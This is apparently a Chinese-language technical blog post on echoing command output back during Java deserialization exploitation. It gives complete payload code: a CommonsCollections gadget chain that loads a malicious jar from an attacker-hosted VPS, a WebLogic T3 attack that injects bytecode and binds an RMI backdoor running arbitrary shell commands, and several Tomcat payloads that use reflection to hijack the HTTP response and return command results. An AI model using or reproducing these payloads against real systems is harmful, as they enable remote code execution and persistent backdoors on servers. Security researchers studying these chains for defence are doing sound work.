在Java反序列化漏洞利用中,结果回显是一个需要解决的问题,这里记录学习到的一些回显方法。
编写恶意类,在构造方法中执行命令并把命令执行结果注入到异常消息中带回。
import java.io.*;
import java.nio.charset.Charset;
public class UrlClassLoaderEcho {
public UrlClassLoaderEcho(String cmd) throws Exception {
InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
BufferedReader bufferedReader = new BufferedReader(streamReader);
StringBuffer buffer = new StringBuffer();
String line = null;
while((line = bufferedReader.readLine()) != null) {
buffer.append(line).append("\n");
}
throw new Exception(buffer.toString());
}
}
把恶意类打包为jar包,注意打包时用的java版本不能和目标的版本差太多
javac UrlClassLoaderEcho.java
jar -cvf UrlClassLoaderEcho.jar UrlClassLoaderEcho.class
把恶意jar包放到vps上,保证能访问到vps上的jar包
python3 -m http.server 80
CommonsCollections05 反序列化进行回显
package com.Jasetol.payloads;
import com.Jasetol.utils.ParseArgs;
import com.Jasetol.utils.Reflect;
import com.Jasetol.utils.SerWithUnSer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
public class echoForUrlClassLoader {
public static Object getObject() throws Exception{
// 构造 Transformer[] 数组
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{URL[].class}}),
new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:80/UrlClassLoaderEcho.jar")}}}),
new InvokerTransformer("loadClass",new Class[]{String.class},new Object[]{"UrlClassLoaderEcho"}),
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new String[]{"ipconfig"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
// 反射对字段进行赋值,防止在构造 payload 的时候触发 Gadget
Reflect.reflectSetField(tiedMapEntry,"map",lazyMap);
Reflect.reflectSetField(chainedTransformer,"iTransformers",transformer);
Reflect.reflectSetField(badAttributeValueExpException,"val",tiedMapEntry);
return badAttributeValueExpException;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) getObject();
byte[] bytes = SerWithUnSer.serialize(badAttributeValueExpException);
SerWithUnSer.unSerialize(bytes);
}
}
UrlClassLoader
加载远程类进行回显需要目标出网,这是一个限制。
通过以下两行代码可以在WebLogic上绑定一个键为echo的RMI实例。
InitialContext initialContext = new InitialContext();
initialContext.rebind("echo",new RMIForecho());
绑定对象为RMIForecho
自定义类,这个自定义类需要实现Remote
或其子类接口,且实现的接口中需要返回值为 String的方法,因为要在这个方法中执行命令,并把执行结果以字符串返回,这时就需要方法返回值为String,ClusterMasterRemote
接口就符合条件,其getServerLocation
方法返回值就为String。
public String getServerLocation(String s) throws RemoteException {}
编写实现ClusterMasterRemote
接口的恶意类,并在该类的静态代码中绑定一个RMI实例。
package com.Jasetol.payloads.weblogic;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.InitialContext;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.rmi.RemoteException;
public class RMIForecho extends AbstractTranslet implements ClusterMasterRemote {
static {
try {
InitialContext initialContext = new InitialContext();
initialContext.rebind("echo",new RMIForecho());
}catch (Exception e){}
}
@Override
public String getServerLocation(String s) throws RemoteException {
try{
String osName = System.getProperty("os.name");
String[] cmd = osName != null && osName.toLowerCase().contains("win") ? new String[]{"cmd.exe","/c",s} : new String[]{"/bin/bash","-c",s};
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
int len = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((len = inputStream.read(bytes)) != -1){
byteArrayOutputStream.write(bytes,0,len);
}
return new String(byteArrayOutputStream.toByteArray());
}catch (Exception e){}
return null;
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
通过 CommonsCollections06 注入恶意字节码
package com.Jasetol.payloads.weblogic;
import com.Jasetol.utils.ClassFiles;
import com.Jasetol.utils.ParseArgs;
import com.Jasetol.utils.Reflect;
import com.Jasetol.utils.SerWithUnSer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.utils.classloaders.ClasspathClassLoader;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.net.URL;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
/*
* CommonsCollection06
* */
public class echoForWebLogic {
private static String host = "192.168.134.133";
private static String port = "7001";
private static String className = "com.Jasetol.payloads.weblogic.RMIForecho";
private static byte[] bytes = new byte[]{};
public static void exploit() throws Exception{
String url = "t3://" + host + ":" + port;
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL,url);
env.put("weblogic.jndi.requestTimeout",15000L);
InitialContext initialContext = new InitialContext(env);
ClusterMasterRemote remote = (ClusterMasterRemote) initialContext.lookup("echo");
String result = remote.getServerLocation("ls");
System.out.println(result);
}
public static void injectRMI() throws Exception{
// 构造 Transformer[] 数组
bytes = ClassFiles.classAsBytes(RMIForecho.class);
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(ClasspathClassLoader.class),
new InvokerTransformer("getDeclaredConstructor",new Class[]{Class[].class},new Object[]{new Class[0]}),
new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[0]}),
new InvokerTransformer("defineCodeGenClass",new Class[]{String.class,byte[].class, URL.class},new Object[]{className,bytes,null}),
new ConstantTransformer(new HashSet())
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"ky0116");
// 反射对字段进行赋值,防止在构造 payload 的时候触发 Gadget
Reflect.reflectSetField(tiedMapEntry,"map",lazyMap);
Reflect.reflectSetField(chainedTransformer,"iTransformers",transformer);
byte[] serialize = SerWithUnSer.serializeObject(hashMap);
T3ProtocolOperation.send(host, Integer.parseInt(port),serialize);
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
injectRMI();
exploit();
}
}
注入成功之后正常获取绑定的 RMI 实例,然后调用实例的getServerLocation
方法并执行命令即可。
对于Tomcat中间件回显,主要是找到一条获取Request/Response
的反射链,把命令执行的结果用Response
带出即可。
AbstractProtocol$ConnectionHandler
内部类的global
属性,是一个RequestGroupInfo
类,RequestGroupInfo
类的processors
属性是一个存储着RequestInfo
类的List
,RequestInfo
的req
属性就是一个org.apache.coyote.Request
类,org.apache.coyote.Request
需要通过getNote
方法转换为org.apache.catalina.connector.Request
类。AbstractProtocol$ConnectionHandler
内部类也需要通过反射一步步获取,在不同版本的Tomcat下获取此内部类的方法略有不同。
Tomcat全版本获取AbstractProtocol$ConnectionHandler
并获取Request/Response
。
package com.Jasetol.payloads;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.coyote.RequestInfo;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
public class echoForTomcat01 extends AbstractTranslet {
static {
try {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
for (int i = 0 ; i < threads.length ; i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")){
Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
targetField.setAccessible(true);
Object nioEndpoint$Poller = targetField.get(thread);
Field this$0 = nioEndpoint$Poller.getClass().getDeclaredField("this$0");
this$0.setAccessible(true);
Object nioEndpoint = this$0.get(nioEndpoint$Poller);
Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){
java.lang.reflect.Method getHandlerMethod = org.apache.tomcat.util.net.NioEndpoint.class.getMethod("getHandler",null);
getHandlerMethod.setAccessible(true);
Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(nioEndpoint, null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req1.get(requestInfo);
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
Process process = Runtime.getRuntime().exec("ipconfig");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String lineData;
while ((lineData = bufferedReader.readLine()) != null){
stringBuffer.append(lineData + '\n');
}
response2.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
response2.getOutputStream().flush();
response2.getOutputStream().close();
}
}
}
}
}
}
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Tomcat7以上获取AbstractProtocol$ConnectionHandler
并获取Request/Response
package com.Jasetol.payloads;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.List;
public class echoForTomcat02 extends AbstractTranslet {
static {
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field context01 = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context01.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context01.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService) service.get(applicationContext);
Field field01 = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
field01.setAccessible(true);
Connector[] connectors = (Connector[]) field01.get(standardService);
Field field02 = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
field02.setAccessible(true);
ProtocolHandler protocolHandler = (ProtocolHandler) field02.get(connectors[0]);
Field handler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handler.setAccessible(true);
Class[] classes = AbstractProtocol.class.getDeclaredClasses();
for (int i = 0 ; i < classes.length ; i++){
if (classes[i].getName().length() == 52){
Field global = classes[i].getDeclaredField("global");
global.setAccessible(true);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(handler.get(protocolHandler));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
List<RequestInfo> list = (List<RequestInfo>) processors.get(requestGroupInfo);
for (RequestInfo requestInfo : list) {
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);
org.apache.coyote.Request request = (org.apache.coyote.Request) req1.get(requestInfo);
org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
Response response = request1.getResponse();
Process process = Runtime.getRuntime().exec("ipconfig");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String lineData;
while ((lineData = bufferedReader.readLine()) != null){
stringBuffer.append(lineData + '\n');
}
response.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
response.getOutputStream().flush();
response.getOutputStream().close();
}
}
}
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
ApplicationFilterChain
的lastServicedResponse
属性是存储着ServletResponse
对象的ThreadLocal
,获取到lastServicedResponse
属性就可以获取到ServletResponse
。
Tomcat启动时判断ApplicationDispatcher.WRAP_SAME_OBJECT
的值,如果为true则在ApplicationFilterChain#internalDoFilter
方法上对lastServicedResponse
赋值一个ServletResponse
进去。
通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
属性值,这样就可以通过lastServicedResponse
属性获取ServletResponse
。
package com.Jasetol.payloads;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
/*
* Shiro 框架无法注入
* */
public class echoForTomcat03 extends AbstractTranslet {
static {
try{
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
wrap_same_object.setAccessible(true);
lastServicedResponse.setAccessible(true);
lastServicedRequest.setAccessible(true);
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(wrap_same_object,wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedRequest,lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedResponse,lastServicedResponse.getModifiers() & ~Modifier.FINAL);
Boolean wrap = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> lastRequest = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> lastResponse = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
wrap_same_object.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal());
lastServicedResponse.set(null,new ThreadLocal());
ServletResponse response = (ServletResponse) lastResponse.get();
ServletRequest request = (ServletRequest) lastRequest.get();
Process process = Runtime.getRuntime().exec("whoami");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String lineData;
while ((lineData = bufferedReader.readLine()) != null){
stringBuffer.append(lineData + '\n');
}
response.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
response.getOutputStream().flush();
response.getOutputStream().close();
}catch (Exception e){}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
在Shiro反序列化中这个回显无法利用,Shiro中lastServicedResponse
属性的设置是在漏洞触发点之后的,在漏洞触发时通过这条回显链获取不到ServletResponse
。
把这些回显链通过注入恶意TemplatesImpl
对象的方式进行利用。
针对其它中间件回显的方法也是一样的,寻找到Response
存储在哪个全局变量中,通过反射一步步获取到这个全局变量,就可以把命令执行结果通过Response
带出来。
寻找存储Response的全局变量可以通过调试阅读源码来寻找,可以半自动化寻找存储Response
的全局变量(参考后面文章。
通过DNS外带命令执行结果,局限是需要目标出网
https://www.cnblogs.com/nice0e3/p/14891711.html
https://www.cnblogs.com/nice0e3/p/14897670.html
https://www.cnblogs.com/nice0e3/p/14897670.html
https://github.com/c0ny1/java-object-searcher
https://www.cnblogs.com/nice0e3/p/14945707.html
代码地址